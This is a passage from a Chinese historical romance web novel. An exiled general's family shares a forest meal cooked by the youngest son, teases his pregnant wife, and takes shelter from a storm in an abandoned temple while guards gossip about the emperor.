苏琯煜摇头,“他们奉命在军中藏了不少时日,和我们一起上过战场,心里有所判断。” “二叔失踪时,他们虽将我们捉拿,但没有我们主动配合,他们也奈何不了我们。” 那几名禁军很清楚这一点。 且他们和远在盛京城、端坐皇位、对战场的残酷一无所知的那位新帝不一样,他们有眼睛,当然看得出苏家不可能通敌叛国。 所谓苏家通敌叛国,不过是新帝为了收回他们的兵权才给他们硬加的罪名。 “即便初始他们有些不客气,但后来圣旨传来,他们没听到苏家入罪的消息,态度便也恭敬了起来。” 这时候便不是押送了,而是跟随他们一起来追上被流放的苏家人。 “儿子瞧着,相比于皇命,现下他们可能更愿意接近我们。”尤其是千户李晓明。 苏家军中人,上到将领,下到兵卒,也是如此。 他们认的不是那一方小小的虎符,而是代代骁勇善战的苏家人。且只有谋与勇兼具的苏家人,才能得到他们发自内心的尊敬与推崇。 苏家军,誓死效忠的不是大盛,而是他们苏家,是他们苏家数代不屈守卫国土的风骨。 若是苏家想要那龙椅上的位置,一声令下,苏家军上上下下不会有任何异议。 但大盛建朝伊始,苏家当时的掌权人和太祖有过君子之约,若是帝王贤明,苏家便甘愿为臣,世代维护大盛安稳。 一切的前提是,帝王贤明。 但新帝盛誉得位不正,先帝什么也没跟他说。他便也什么都不知道,只一味地想要得到兵权,殊不知,他能得到虎符,却也只限于此了。 也不知道他什么时候才会明白,苏家军根本不会听他的号令。 正说着,米饭的香气混合着一股鱼香传来,仔细一辨,鱼香竟还分了好几种。 孩子们停下玩闹,脚步轻快地朝香味来源跑过去。 “好香啊!”慕哥儿盯着锅里还在翻转的焦黄小鱼,不住地咽着口水。 “小叔叔,你会做饭。”六岁的苏玉格稀奇地盯着掌勺的苏琯璋,声音响亮。 这句话将所有人的视线都吸引了过去。 宣槿妤也好奇地站起来,绕过几棵大树,便见到了正翻转着锅铲的苏琯璋。 其余人也坐不住了,纷纷转过来看,很快苏琯煜周围便围了一堆人。 就连陈阳、王虎和李晓明都带了手下的人过来围观。 苏琯璋:“……” “你们不去吃饭?”他问陈阳。 陈阳只笑,“不急。”看热闹才最要紧。 王虎方才的一腔心事也都散了,闻言也颔首不语。 这几日光寻着荒山野岭的小道走,一路慢吞吞的,可乏味得紧。难得见这么一桩稀奇事,还不得上赶着来瞧热闹? 苏家小公子啊!那个武能平定沙场的小少将军,文能堪破冤屈的大理寺少卿,如今挥舞起锅铲来,居然也有模有样的。 苏琯璋的三位兄长惊讶地盯着自家小弟看了一会儿,彼此对视一眼,很有默契地转过头去笑了。 常湄言见这么多人来看小叔子的热闹,一时也替他发窘。 但到底是将门之女,她也十分大方,不好意思这个念头也只是转瞬即逝。 “煎至两面焦香,现在,倒入开水。”她继续指点。 苏琯璋一手执锅铲,一手将已经准备好的开水倒了下去。 “滋滋滋”的响声中,锅里的开水翻滚着,很快变成浓稠的白色,瞧着便让人食指大动。 “盖上锅盖,焖上半刻钟。”常湄言继续开口。 苏琯璋便将锅盖盖了上去。 看到这里,还有谁看不明白的? 分明是苏家三少夫人在指点这小公子做菜呢! 苏二婶只觉得这步骤十分熟悉,还没想起来,苏琯文已经抑制不住自己,“哈哈哈”地大笑了起来。 他大力拍着苏琯璋的肩膀,拍得“啪啪啪”作响。 “五弟,这几道菜可是你三嫂怀着龙凤胎的时候,我娘和丈母娘心疼她,特意寻来的膳食方子。你是该好好学学,做给五弟妹吃。” 被他大力拍着的苏琯璋眉头都没皱一下,只嫌弃地拂开三哥的手。 倒是宣槿妤,见苏琯文还继续笑着,又朝苏琯璋胸膛打了几拳,眉头蹙了起来。 苏琯璋这臭男人,她都没怎么欺负他呢,就让他三个欺负了? 这臭男人也真是,她都没掐他他就提前攥住她的手,不给掐。怎么他三哥又是拍又是打,就让了? 哼! 宣槿妤兀自不高兴着。 周遭人太多,她将脸藏在三人合抱的粗壮大树后,不特意留意,谁也看不到她的神情。 “小婶婶,你不高兴吗?”彤姐儿看到小婶婶的裙摆,转了一圈,找到人,抬头便看到她撅着的嘴,便问。 宣槿妤转头看彤姐儿,还没开口,眼角余光见苏琯文又捶了苏琯璋一拳。 她视线一顿。 这男人怎么都不知道躲的? 而这时,被彤姐儿的话吸引,一众人的视线齐齐地越过大树,也朝宣槿妤这个方向看来。 宣槿妤眉头一紧,忙移开视线。 旁人还没看清,苏琯璋已经眼尖地看到她方才的视线落点,忙将三哥仍捶在自己胸膛的手拂开。 苏琯文仍大大咧咧的,察觉不到弟妹已经在生气。 但常湄言已经意识到了,忙将丈夫从小叔子身边拉开。 “你小婶婶心疼你小叔叔呢!”宣槿妤还没回答彤姐儿的话,苏二婶已经笑着开口。 被这么多人围观着取笑,还大都是亲近的家人。 宣槿妤脸“腾”地一下子就红了,只嗫嚅着说了一句,“谁在心疼他”,便转过了头,面对着粗粗的树干去了。 苏二婶爽朗地笑了,朝儿子打了一掌,“槿妤,别不高兴了,二婶替你出气。” 她这一掌毫无预兆,打得又重,苏琯文忍不住“嘶”了声。 他可不是五弟那面瘫子,再怎么疼眉峰都不带动弹的,他疼了也是会叫的。 第30章 第30章槿妤,我很开心 笑声四起,宣槿妤脸更红了,从袖中抽出帕子往脸上一遮,双手捂着,自欺欺人地谁也不看。 许玉娘瞧着儿媳面红耳赤的羞样,稀罕得很,将她抱在怀里,“她二婶可别再逗了,我儿媳脸皮薄,比不得你。” 苏二婶便又拍了儿子一巴掌,无视苏琯文“哎哟哎哟”的刻意叫唤声,快步走到这对婆媳面前。 许玉娘笑着看她,苏二婶也揶揄地笑了下,张嘴就开始哄侄媳妇,“槿妤,谁敢笑话你,二婶就替你打他。” 宣槿妤将头往许玉娘怀里埋得更深了。 二婶可真促狭,跟三 嫂嫂常湄言一样一样的,就爱逗人! 一片笑声中,苏琯璋快步走来,驱散了看热闹的人群。 “槿妤,”他将人从母亲怀里拉出来,“出来透口气,莫闷坏了。” 才害过喜,不能这样闷着。 宣槿妤抬起头,脸上还残余着未褪的红晕,艳丽逼人。 “你也不许笑我。”她开口,声音发颤。 她这副模样让苏琯璋不合时宜地想起昔日帐中夫妻情事之后,她也是这样绯红着脸,声音既娇且颤,让他又爱又怜。 “没有笑你。”苏琯璋将她揽入怀中,“槿妤,我很开心。” 开心她会护着他。 兄弟之间的打打闹闹常有,比武的时候刀剑无眼,也有各自在彼此身上开刀子的时候。但这在武将之家是常事,谁也不会因此心疼。 但槿妤在心疼他。 他情绪一向掩藏得很深,父母都难以察觉,这还是他为数不多向人袒露心事的时候。 “槿妤,我很开心。”他又说了一遍,用脸颊去蹭宣槿妤嫩滑的小脸,“你心疼我,我很开心。” “谁说我在心疼你了。”宣槿妤被他蹭得脸越发红润,嘴硬地不承认,“都是二婶在胡说,彤姐儿也瞧错了,我没有不开心。” 苏琯璋含笑地看着她。 他不相信! 宣槿妤恨恨地踩了他一脚,“不许笑!大家都在笑我,你不能笑。” 他是她这边的,谁笑都行,就他不行! 虽然苏琯璋这臭男人有表情的时候不多,但现在她还羞着,哪里能被他这样笑?她脸还要不要? “嗯,我不笑了。”苏琯璋又蹭了蹭,额头与她相碰,摩挲了一会儿,才站直身子。 “菜我烧得差不多了,很快就可以开饭。你要在这里等我吗?” 宣槿妤往后看了一眼,发现大家都散开了,便点点头。 苏琯璋便回到火堆前,将锅盖掀了,撒了点盐,很快将鱼盛了出来。 这便正式开饭了。 孩子们得了大人们的嘱咐,知道小婶婶脸皮子薄,便乖乖地将方才的事抛之脑后。 三位嫂嫂过来拉宣槿妤。 常湄言:“托了槿妤你的福气,今晚我们可是有口福了。” 丁茜茜:“可不是,今晚这一顿,从饭、到汤,再到菜,全是小弟一手包办的。” 许萱娘:“不错,我嫁入苏家这么多年了,也能吃到小叔子做的菜了。” 不说嫁入苏家的这十年,便是她作为苏琯璋舅家表姐,往来十余年也没有这样的运道。 小叔子哪里是会主动学做菜哄家人的性子?便是那张冷冷淡淡的脸,想从上面看出些情绪来也不容易。 还得是槿妤才治得了他。 嫂子们嘻嘻哈哈的,将宣槿妤摁在一块铺了帕子的平整石头上。 宣槿妤被三位嫂嫂你一句我一句说的哭笑不得,忍不住反将回去,“嫂嫂们倒是拿我打趣得开心,兄长们追上来的时候怎么都见着你们哭了?” 分明是三位兄长都追上来了,嫂嫂们心里开心,只因着周遭人多,不好表现出来,只寻着他们夫妻俩逗趣。 怪促狭的,一个比一个会来事,也说不清是谁带坏了谁。 许萱娘和妯娌们对视一眼,“噗嗤”笑了。 她才洗过手,便伸手在宣槿妤脸上轻轻捏了一把,“槿妤这张嘴可真利索,一说便将我们三个都说进去了。” 她习武,力气比一般闺阁女子大很多。宣槿妤面嫩,她不敢用力,捏便像极了摸。 惹得常湄言和丁茜茜笑得不怀好意。 常湄言冲着不远处扬声道:“五弟快看,大嫂在调戏你家少夫人呢!” 丁茜茜也连声附和,“五弟,我可以当证人。” 苏琯璋在家中这一辈中排行第五,是最小的那一个。 还未娶妻时家里兄长嫂子们一口一个小弟地叫着,也不见他有什么不满。偏生要娶妻了,便不许人再叫他小弟,只管叫他五弟。 兄长和嫂子们也不会拂了他的面子,当着他的面也都改口了。 三位兄长那里宣槿妤不清楚他们私底下如何,只嫂子们私底下就和她取笑了不少次,仍旧小弟小弟地叫着。 苏琯璋大抵也是知道兄嫂们在他背后是如何取笑他的,但也不见他有什么反应。 约莫也是不在意的。 就是不知道他为何突然就要让兄嫂们改口。 苏琯璋对于嫂嫂们玩笑的话没有什么反应,倒是许萱娘听了两位弟妹的话,只笑着又多摸了宣槿妤几下。 惹得常湄言和丁茜茜齐声道:“哎呀,大嫂嫂你快松手,让我也摸摸。”说罢也不告状了,两人洗干净了手擦干就要去摸宣槿妤的脸。 宣槿妤背靠着大树,连声告饶,偏偏出口的话却是挑衅,“三位嫂嫂这是被我说中了心思,恼羞成怒了罢?” 正在洗锅的苏琯璋闻声抬起头,便见宣槿妤捂着脸,露出弯弯的眉眼,没有生气,也没有方才害羞到不肯见人的意思。 三位嫂嫂也顾忌着她的双身子,玩闹也颇有分寸。三人都护在她周围,防着她不小心掉下去。 于是他很快又低下头,专心地把锅多刷了几遍——这口锅方才用来做的都是鱼,怕残余着腥味,晚上做菜时宣槿妤吃着会不舒服。 确认锅彻底没有鱼腥味了,他才泼了水,将锅放在火上,用余热烘干了。 这干活的利索样,将几个孩子都看呆了,纷纷让自家父亲来看。 苏琯煜又叫来他的母亲。 许玉娘一看就笑了,赞道:“不错,璋小子是干活儿的一把好手。” 苏琯煜顺势接话,“日后都让小弟做饭好了。” 许萱娘闻言,笑着对丈夫说道:“夫君,只小弟一人怎么够?小弟做饭,你可以烧火,在一旁打下手。” 常湄言和丁茜茜也不闹宣槿妤了,都去看自家夫君。 苏琯文和苏琯武这对双胞胎和旁的双胞胎不同,他们长得不一样,性子也截然不同;此时却难得地,露出了近乎一模一样的惊愕神情。 一片哄笑。 “他们三兄弟一来,萱娘倒是放松不少。”笑声中,许玉娘感慨。没有在死牢里的紧绷,也没有前两日的少言、只一心照顾孩子们的沉闷模样了。 苏老夫人本在慈爱地看着看着孙子孙媳们开玩笑,听着许玉娘的感慨,握住了她和苏二婶的手。 “都是我们苏家的好媳妇儿。” 苏家一阵又一阵的笑声传到远处,正在吃饭的两伙人不禁朝他们看了一次又一次。 “他们家可真够热闹的。”王虎对李晓明说道。 前两日还一片沉闷,只偶尔说笑几句,就孩子们还活泼些。今日孩子们还好,大人们却都笑闹起来了。 李晓明很快吃完一条烤鱼,去拿刚烤好的野鸡,闻言只笑笑,并不接话,咬了一口野鸡腿。 “一家团聚,热闹些也正常。”几步远,陈阳随口接了话茬,视线却没朝那边移过一分。 他手下的官兵们也大多只一心吃着饭,目光偶尔飘过去,也很快收回来。并不如禁军们那般明显,视线移过去时很久都舍不得收回来。 李晓明看得若有所思。 官兵们和禁军们分属不同的部门,平日里负责的差事也大多不重合,便也瞧不出有什么差别。 但如今两拨人被凑到一起,泾渭分明,差距就很容易看得出来了。 “兵部如今的尚书是岳丰大人?”他问王虎。 王虎不明所以,还是点了头。 “怪不得。”李晓明说。 “你在说什么?”王虎疑惑地问。 “没什么。”人多,李晓明什么也没说。 兵部官兵们明显就比禁军们训练有素得多,纪律也更加严明。 他记得岳丰是苏家旧部,再结合自己才追上来那会儿看到的,他便肯定了自己的猜测。 等吃 饱的人群散开休息,李晓明才和王虎说了实话,“你看兵部这群官兵,他们和苏家军很像。” “苏家军?” “对,不过也只是形似,神还是差了几分。”李晓明说,“到底没上过真正的战场,也就没有苏家军身上那股煞气。” “煞气听着可不是什么好词。”王虎说。 李晓明笑,伸手薅下一片绿油油的叶子,“这得分是谁在看。若是漠北大军来看,苏家军这一身煞气就足够让他们惊惧。” 不然,苏家二叔都失踪了,三位少将军也都被拿下送离漠北,漠北大军为何还迟迟拿不下前线? 将领重要,兵卒也十分重要。 30-40 第31章 第31章“田螺姑娘”苏琯璋 “我赢了,耶!”有稚嫩的童音传来,听着雀跃无比。 李晓明看过去,便见两头身的矮胖小团儿在地上蹦了几下,被大人提醒刚吃饱不能跳,才收敛几分,脸上却仍旧挂着灿烂的笑。 这孩子,看模样像是苏琯武少将军的小儿子?这般小?有三岁了么? 王虎见他看着慕哥儿,便道:“那是苏家这辈最小的孩子。” 想了想,觉得不严谨,他又补充,“除了小少夫人肚子里那个,就他最小。好像还不到三岁。” 李晓明眉头紧皱,陛下竟连这么小的孩子也处以流放之刑?! 忽然,他意识到什么,猛地看向王虎,“什么小少夫人肚子里那个?” 苏家年轻的女眷也就四个,这里头还有一个孕妇? 王虎想起,李晓明带人追上来的时候,好像宣小少夫人才下地走了没多久。他当是没看到苏小公子背着人的,心下了然。 “喏,苏家小公子的少夫人,宣家唯一的姑娘,外祖父是林太傅那个。”王虎不动声色地指了指宣槿妤,“她肚子里那个才坐稳胎。” 见李晓明惊得虎目圆睁,他笑了笑,“刑部死牢里才诊出来的,当时是两个多月。宣尚书求了陛下,将女儿接回家养了半个月的胎。” 他比了个手势,“这不,三日前才随我们出发。” 李晓明压低了声音,“林太傅竟也舍得外孙女遭这流刑之苦?” 王虎也将声音压得极低,“这有什么,宣小少夫人还是陛下的心上人呢!”不也舍得亲自下旨将人流放了?也不怕人死在半途。 当然,若真让人死在半途,且不说宣家和林家会对他怎么样,陛下那里,他肯定头一个朝自己发难。 想到自己身上那道暗旨,他苦笑了下。 “什么心上人?”李晓明不明所以。 当年陛下登基,不是已经不计较宣家姑娘抗旨拒婚的事了?宫宴上还特意携皇后娘娘朝已经成为苏家小少夫人的宣家姑娘敬酒,口称“师妹”来着。 他奉命到苏家军前,这事在当时还是件美谈。 难不成这些年,陛下一直没将人放下?那今次苏家出事,陛下他…… 宣家姑娘身后有宣家和林家,还有了身孕,竟也被流放了。她是做了什么事彻底激怒了帝王? …… 他不敢再想下去。 王虎将京城的流言告诉了他,还告诉他一个秘密,“盛京城里的消息是我去放的。” 李晓明头皮发麻,朝王虎做了个“噤声”的手势。 “这话你日后莫再说出来,不管对着谁。”李晓明警告他。 他们俩都三年不见了,王虎竟还这样相信他。李晓明不知道该欢喜还是忧愁。 “不管是谁,还是防着点好。” 王虎笑,“你以为旁人不知道消息是谁传出来的?陛下也不在意我告诉了谁,他就是要全天下的人都知道。” 他也不是个傻的。 真要命的事情,他只会藏在心里,连想都不敢多想,岂会说出口。 疯了,都疯了。 李晓明站着不动,放空了好一会儿。 “怎么,听说这消息举国上下没人不知,你居然没听说过?”王虎见他缓和过来,问。 这回轮到李晓明苦笑,“这一路急着赶路,哪里有心思听这些。” “也是,你连宣小少夫人有孕了都不知道。这消息早在陛下下旨之前就已经人尽皆知了。”王虎说。 这消息听说还是林太傅放出来的呢!也不知道真假,是以他也没跟李晓明说。 还有刑部死牢里宣槿妤对陛下的那句挑衅,他想了又想,话都到了嘴边,还是没有说出来。 说出来除了让陛下颜面尽失,好像也没多大用处。 啧,这宣小少夫人可真敢说。“我若要嫁他,当年便不会抗旨拒婚。” 陛下当年为何就是没入了这宣家姑娘的眼?他忽地起了好奇心。 “你在想什么?”李晓明见他脸色变来变去的,便问。 王虎摸了摸自己的脸,想起了方才李晓明说的一番兵部官兵和苏家军的话,意识到自己的情绪还是过于外露了。 “没什么。”他说。 “等你到了盛京城,自然就会知道了。”迎着李晓明狐疑的眼神,他补充道。毕竟什么流言,都是先从盛京城里传出来的- 这餐饭是宣槿妤这三日来吃的最好的一顿,比昨日的烤兔子还好吃。 “是因为这餐饭是五弟亲手做的,槿妤你爱屋及乌,就觉得好吃吧?”许萱娘听完宣槿妤的话,笑她。 “大嫂嫂,你再这样我不理你了。”宣槿妤将头扭到一旁,绯色爬上了白玉般的耳垂,十分显眼。 许萱娘看得心里欢喜,却又担心真将人惹恼了,忙揽住她的肩,“好好好,大嫂嫂不笑你了。” 宣槿妤这才将头转回来。 “看小弟收拾餐具。”许萱娘和她咬耳朵,常湄言和丁茜茜一旁“嗤嗤”地捂着嘴笑。 宣槿妤瞪了一眼三位存心看他们夫妻俩笑话的嫂嫂,嘴一撅,没搭理她们,视线却真的不由自主地朝着苏琯璋移过去。 只见苏琯璋收拾好了碗筷,端到方才的火堆旁,伸手摸了摸铜盆。许是水已经热了,他便弯下腰,检查了方才熄灭的火。 宣槿妤看得出神,她还从未见过这样的苏琯璋。 分明是在做着些微不足道的小杂活儿,一举一动却仍是不疾不徐,像是在书房里泼墨煮茶般,让人赏心悦目。 她这头在出神,那头苏琯璋已经直起身来。 火堆里还有些余烬,为保险起见,他舀了一瓢水,泼了进去。 灰烬撞在铜盆底部,黏了上去。苏琯璋就着略烫的清水,不甚熟练地将碗筷洗干净了。 宣槿妤移开了视线。 苏琯璋没留意到她的视线,洗了手便走了回来,在她身旁坐下。 刚吃完饭,谁也没想着去眯一会儿,只想懒懒地坐着,说些闲话。 自苏二叔带兵出征这小半年来,他们家难得有这样团圆的时候。 不过,此时谁也没提缺席的苏家二叔,就连孩子们也十分懂事地没有提。苏二婶更是一副不在意的模样,一直和苏老夫人说着话。 见苏琯璋坐下,三三两两说着小话的苏家人格外默契地停了下来,含笑的视线齐齐落在他身上。 “五弟今日真是贤惠。”苏琯煜夸赞道。 苏琯璋无奈。 大哥这“贤惠”二字夸得,像是他第一次领兵大胜回来,军中将领夸他“英勇有谋”一样。 瞧着都是诚心实意。 但不知大哥心里,藏了几分戏弄他的心思。 “今晚若是不能赶上住驿站,大哥也可以跟着学一学做菜。”苏琯璋回敬道。 他方才观察了四周,在脑中勾勒着大盛的舆图,发现这里离最近的驿站都还有十里距离。 往后天气越发热了,太阳也更晒,他不敢冒险让宣槿妤暴露在太阳底下。 莫说宣槿妤受不住,就连苏老夫人和孩子们也受不住。 等下陈阳等人来催上路时,他还要和人商量一下,等到日头没那么盛了再出发。 苏琯煜不知他在想些什么,只摆摆手,“有五弟一人就足够了,你今日做得就挺好的。” 苏琯璋还没开口,苏琯文 、苏琯武已经开始附和,将此事定了下来。 “就这么办了,五弟,往后你多操劳些。” 苏琯璋:“……”他真不想答应。他一直在做饭,槿妤害喜的时候谁陪着她? 心里想着人,他目光也跟着移过去,便见宣槿妤正看着他,捂着嘴,笑得眼中像是落了星子。 他心里一软,一时失了先机,要再拒绝便没可能了。 不过,好在也不是所有人都站三位兄长那头。 “好了,别再打趣你们五弟了,免得接下来他不肯再当‘田螺姑娘’。”苏老夫人开口解围,末了也忍不住打趣幼孙。 一群大人嘻嘻哈哈地挤眉弄眼起来。 这事便也不了了之。毕竟也是个玩笑而已,甚至比不得苏老夫人的一句“田螺姑娘”来得逗趣。 孩子们还没听说过“田螺姑娘”这个故事,被大人们笑得一脸莫名其妙,忙缠着曾祖母讲故事。 一个故事听完,慕哥儿意犹未尽,嚷道:“我还想听。” “我也想。”燕姐儿高高地举着小手。 不愧是亲姐弟。 “曾祖母累了,我来给你们讲。” 苏琯武揽着自家夫人的肩,逗自己一双儿女,“你们想听什么故事?来猜拳,赢了的人就可以选故事。” 孩子们眼睛一亮。 丁茜茜不轻不重地捅了他一下。 真是胡闹。 两个孩子都还小,待会儿输了的那个可别哭了。 “哭了你来哄。”丁茜茜没好气道。 “我来哄,我来哄。”苏琯武笑着说。 慕哥儿赢了姐姐。 燕姐儿果然哭了两声,被早有准备的苏琯武抱着哄了几句便破涕为笑,跟着弟弟听故事去了。 等苏琯武现编的故事讲完,几个小的都困得只往自家爹娘身上扎。大些的启哥儿和彤姐儿还好,不过也直揉着眼睛,连打几个哈欠。 “睡吧!”几位哥嫂收了笑,将孩子们揽在怀里,轻轻拍打着。 常湄言生了三个孩子,和苏琯文二人照看不来。苏二婶将龙凤胎中的妹妹雯姐儿抱在身上,也哄着她睡了。 第32章 第32章你别将我摔了 孩子们很快睡过去,呼吸绵长而均匀。 大人们都没有睡,有一搭没一搭地说着话,声音放轻了些。 一行人正说着话,苏琯煜忽然想起什么,一手揽着孩子,空出的一只手从袖子中掏出一方锦囊。 隔了几个熟睡的孩子,他伸长手递给给苏琯璋,让他交给宣槿妤。 “这是你二姐去寺里求的平安符,”苏琯煜解释,“每个人都有一个。你打开锦囊看看,她听闻你有了身子,还找了寺中大师求了开光的佛坠。” 宣槿妤打开锦囊,果真见除了一枚小巧的平安符,还有一条玲珑的七宝佛坠。她摸了摸,触感温温润润的,很是宜人。 苏琯璋伸手接过来,“我替你戴上。” 宣槿妤侧过身,苏声、苏琯煜、苏琯文和苏琯武四个男人皆垂下眸子。 苏琯璋是第一次给人戴佛坠,但往日他替宣槿妤戴惯了手链、璎珞、玉佩等首饰,且这佛坠链子不难戴,他很快便戴好。 宣槿妤侧回身前,苏琯璋已经顺手将佛坠放入她里层衣裳中。小小的佛坠贴着一层中衣,不会直接贴着肌肤,也不会暴露于外。 他温热的大掌无意间拂过她的身前,宣槿妤瞪他,美眸里却没多少怒气。 苏琯璋眉眼温和,替她整理好衣裳,将她被风吹乱的发丝挽回耳后,才让她转过去。 “好了。”他说,提醒父亲和兄长们。 苏琯煜这才抬眼,继续开口,“你二姐本是打算亲自替你戴上的,但被我拦下了,不让她出佟城。” 他说着目光转向苏琯璋,“由五弟替你戴也是一样的。” 宣槿妤微微颔首,“二姐姐费心了,”隔了一层贴身小衣,她仍感受到坠在锁骨下方的佛子吊坠材质的温润,“改日我亲自谢她。” “也多谢大哥一路带着,你也费心了。”宣槿妤谢道。 开过光的佛坠珍贵,且含了二姐姐的一片心思,苏琯煜匆忙赶来的这一路中,定是还得费神留意着这条佛坠。 “弟妹客气了。”苏琯煜道。 太阳升至正中,有透过密密的枝叶漏下的阳光落在他们身上,金灿灿的,地上拖了长长一片暗影。 苏老夫人年纪大了,忍不住困意,苏二婶扶着她找了个地方,阖眼睡了。 不多时,宣槿妤也有些倦了。 苏琯璋将她带到背对着山风口的一棵五人合抱的大树后,先背靠着树干坐下,再让她坐在自己怀里,舒舒服服地靠着他歇息。 山风携带了些阳光的热意,但不燥,最是合适午歇的温度。 其余人也都昏昏欲睡,陈阳索性留了两个人守着,让大家都各自睡了。 宣槿妤是被窸窸窣窣的一阵声音吵醒的,眼中的困意还未散,迷迷糊糊地睁开了眼。 “还睡吗?”苏琯璋问她,他方才也眯了一会儿,现下正是精神的时候。 宣槿妤慵懒地摇了摇头,想要起身。 苏琯璋将她困在怀里,没让她动。 “先等一会儿。”她一看就是还未完全清醒的模样,苏琯璋不敢让她就这么起来。 他替她细细地整理好衣裳、头发,再从随身的水囊中倒出清水打湿手帕,替宣槿妤擦了脸和手。 如此宣槿妤身上的那股倦意才彻底被驱散,眼中也恢复了清明。 “要出发了吗?”因着才醒,宣槿妤清甜的嗓音里带了一丝哑意。 苏琯璋将水囊放在她唇边,让她喝了两口。 “日头还有些烈,”他将剩下的水喝完,“今晚当是住不上驿站了。若我们像第一日那样,找个废庙住下,你可愿意?” 宣槿妤:“……” 默了一会儿,她忍不住问:“我若不愿意,你又如何?” 她纯粹是好奇,没有故意为难人的意思。 只这男人都说了今晚住不上驿站了,还来问她意见。 “莫非你苏小公子神通广大,能凭空变出间栖身的房子来不成?”她不待苏琯璋回答,继续问道。 苏琯璋哑然失笑,将她抱到地上,扶她站好;自己才扶着粗壮的树干慢慢起身,活动着方才一动不动、已经彻底麻掉的双腿。 他努力忽视着双腿的酸麻,“槿妤,我没有那么大的能耐。” 宣槿妤看到了他起身时险些站不稳的模样,知道自己睡着后这男人定是没有动过,心里又酸又甜,还有点软。 现在听这男人说他没有那么大的能耐,她心里更是软到不可思议。 她本就是个温软的大美人,如今眉眼中的那股娇矜之气散去,更添了几分楚楚的气息。 苏琯璋看得意动,不由伸手将她揽入怀中。 他自己都还没站稳呢!可别连累她摔了,宣槿妤想要挣扎。 “槿妤别动。”苏琯璋及时出声,“我腿还没恢复,莫摔了你。” 宣槿妤抬眼嗔他:“那你还不放手?” 她腰肢被这男人紧紧箍着,动弹不得,她又不敢大力挣扎,生怕他真将自己摔了。 “不放。”苏琯璋低头在她耳边轻笑。 酥酥麻麻的气息像是从他腿上传到她心上、再到腿上,宣槿妤也险些站不稳,只下意识伸手攥住他的衣襟。 “你别将我摔了。”她忍不住低喝了句,声音发颤。 她肚子里还有孩子呢,可不能胡来! 苏琯璋见她真害怕,忙收紧手中的力道,“别怕,就算真摔了,我也会垫在你身下。”他背后牢牢靠着树干呢!不会真摔了的。 “你还说。”一口一个“摔”的,宣槿妤忍不住拧了他一下。 苏琯璋哄她,“好好好,我不说了,我们继续说正事。” 宣槿妤这才松了手。 都是让他闹的,险些忘了方才正说着的正事。 “槿妤,我是没有通天的本事。”苏琯璋说。 “不过,若你不愿意住废庙,我可以去劝陈副尉走正常的官道。” 宣槿妤眼中的嗔意散去,她抬眼看他。 “出了这座山林,周遭当还是有 村民在住的,我们可以去借宿。” 他看过舆图,往东南方向走出二里地,有个不大不小的村落,约莫有百余户人家。便是一户仅能借住一个人,也当是足够收容他们这群人了。 只他还有顾虑,怕分散的风险。 要进村落么? 宣槿妤下意识就有些抵触。 她也说不上来为什么抵触。但她身上当是有些机缘的,每当这种时候的直觉,最是能够教她趋利避害。 “废庙又不是没住过,我们继续住废庙好了。”她说。 不愿意? 苏琯璋双腿已经恢复如常,仍旧揽着她不放,低头和她四目相对。 “进村多麻烦,”宣槿妤慢吞吞地边说着,边想着借口,“你不是说暗处还有眼睛?别给村子带去麻烦。” 她还有没说出口的借口。 他们这么一大群人,进了人家的村子,阵仗跟皇帝微服出巡借住府衙后宅也差不多了。 她嫌麻烦,也不想引起关注。 他们这一路遭到的关注已经够多了。 只这样的借口,她不好意思说出口,好似她有多自恋似的。 “而且,”宣槿妤拉过他的手,放在自己小腹上,“借住人家的屋子,我们一家人就要分开了,你放得下心么?” 一击即中。 苏琯璋瞬间收拢她的手,紧紧握在掌中。 不放心。 他不放心。 “好,我们找个废庙借住一晚。”他很快做了决定。 山林之中最是不缺废庙破宇,这个还真不难找。 于是这日晚间,他们果真在一处废庙住了一宿。 第四日天还未亮之时,熟睡中的宣槿妤被一道炸雷惊醒。 那道炸雷似是劈在她耳边,又像是劈在他们头顶的屋檐上,炸得她耳朵嗡嗡作响,心跳如擂鼓。 她本能地缩着身子,躲进揽着她的苏琯璋怀里。 苏琯璋也瞬间清醒过来,忙将她侧身抱在怀中,让她一边耳朵贴着自己的胸膛,一手捂住她另一侧的耳朵。空出的手不住地摩挲着她的背部。 “别怕,是下雨了。”他贴着她的额头,低声说道。 他已经看到了门外雨如断了线的珠子,串串砸落,溅起高高的水花。 宣槿妤眼中还残余着被惊雷炸醒的惊惶,耳朵被他牢牢捂着,听不见他在说什么,但感受到了他胸膛的震动。 她在他轻柔却有力的安抚中慢慢平静下来。 雷声依旧轰轰,宣槿妤将苏琯璋的手拉了下来,慢慢转过身,面朝废庙的大门。 天依旧是黑的,但已经染上了一点鸭壳青,已经足够视物了。且天边还不时有闪电窜过云层,有时会将屋外照得雪亮,有如白昼。 她听到了孩子们的哭声,和三个嫂嫂的安抚声。 守夜的陈阳和另一名官兵说了句什么,朝他们走过来。 这个废庙不如废弃的皇觉寺大殿大,只勉强容纳了他们所有人。是以,今夜他们没有围帘子,一众人也睡得拘束却也安心。 宣槿妤是枕在苏琯璋手臂上睡的,她被吓醒时苏琯璋很快将她揽入怀中,他这一半的被子也顺势被他们压在身下。 见陈阳要走过来,宣槿妤有些急,想要起身。 她可不想这样子睡在地上,被一个外男看到。先前她睡着了可以不管,但她现在已经清醒了,不能再这样衣裳凌乱地见人。 苏琯璋快速用被子将她包好,坐了起来,让她背对着旁人。被子拉上去,挡住了她有些凌乱的发丝。 第33章 第33章护她安眠 待一切准备好,陈阳已经走到了他们面前。 “四月初一动了流,四十五天雨不休(注1)。” 陈阳蹲了下来,很有分寸地不去看苏琯璋怀里拱起的一团,目光只停留在苏琯璋面上。 “不知公子可听过民间流传的这句话?” 苏琯璋点了点头,“今日正是四月初一。” 虽然现在打雷下雨,乌云阴沉,他没有办法知道真正的时辰;但还是能从隐约露出的天色中判断出,现在大致是在寅时,已经是新的一天了。 “是呀!” 陈阳发愁,“今日怕是不能上路了,接下来雨水也多,我们这一群人可要怎么走才是?” 若只有他们一群大男人,怎么走不是走?淋雨便淋雨了,都是练家子,顶多得一场风寒,不会死人便是。 可苏家这群人,不说三位习武的年轻女眷,就说其他人。 年纪最大的苏老夫人年过花甲,七个孩子中没有一个是过了容易夭折的年纪的,还有一个娇滴滴却身怀六甲的。 一不小心染上风寒,可能都要出事的。 而这庙里,除了苏家自己的人,他比谁都怕他们出事。 雨越发大了,打在屋檐上,劈啪作响,让人十分怀疑这废庙能不能撑得过这场雨。 王虎的声音不时在废庙各处响起,他在带人检查房顶有没有漏雨。 “等雨停了再说。” 苏琯璋怀中的宣槿妤忍不住打了个哈欠,身子往他怀里贴近几分。他目光放柔,很快改口,“先继续睡吧,天亮之后我们再商议。” 陈阳识趣地离开了。 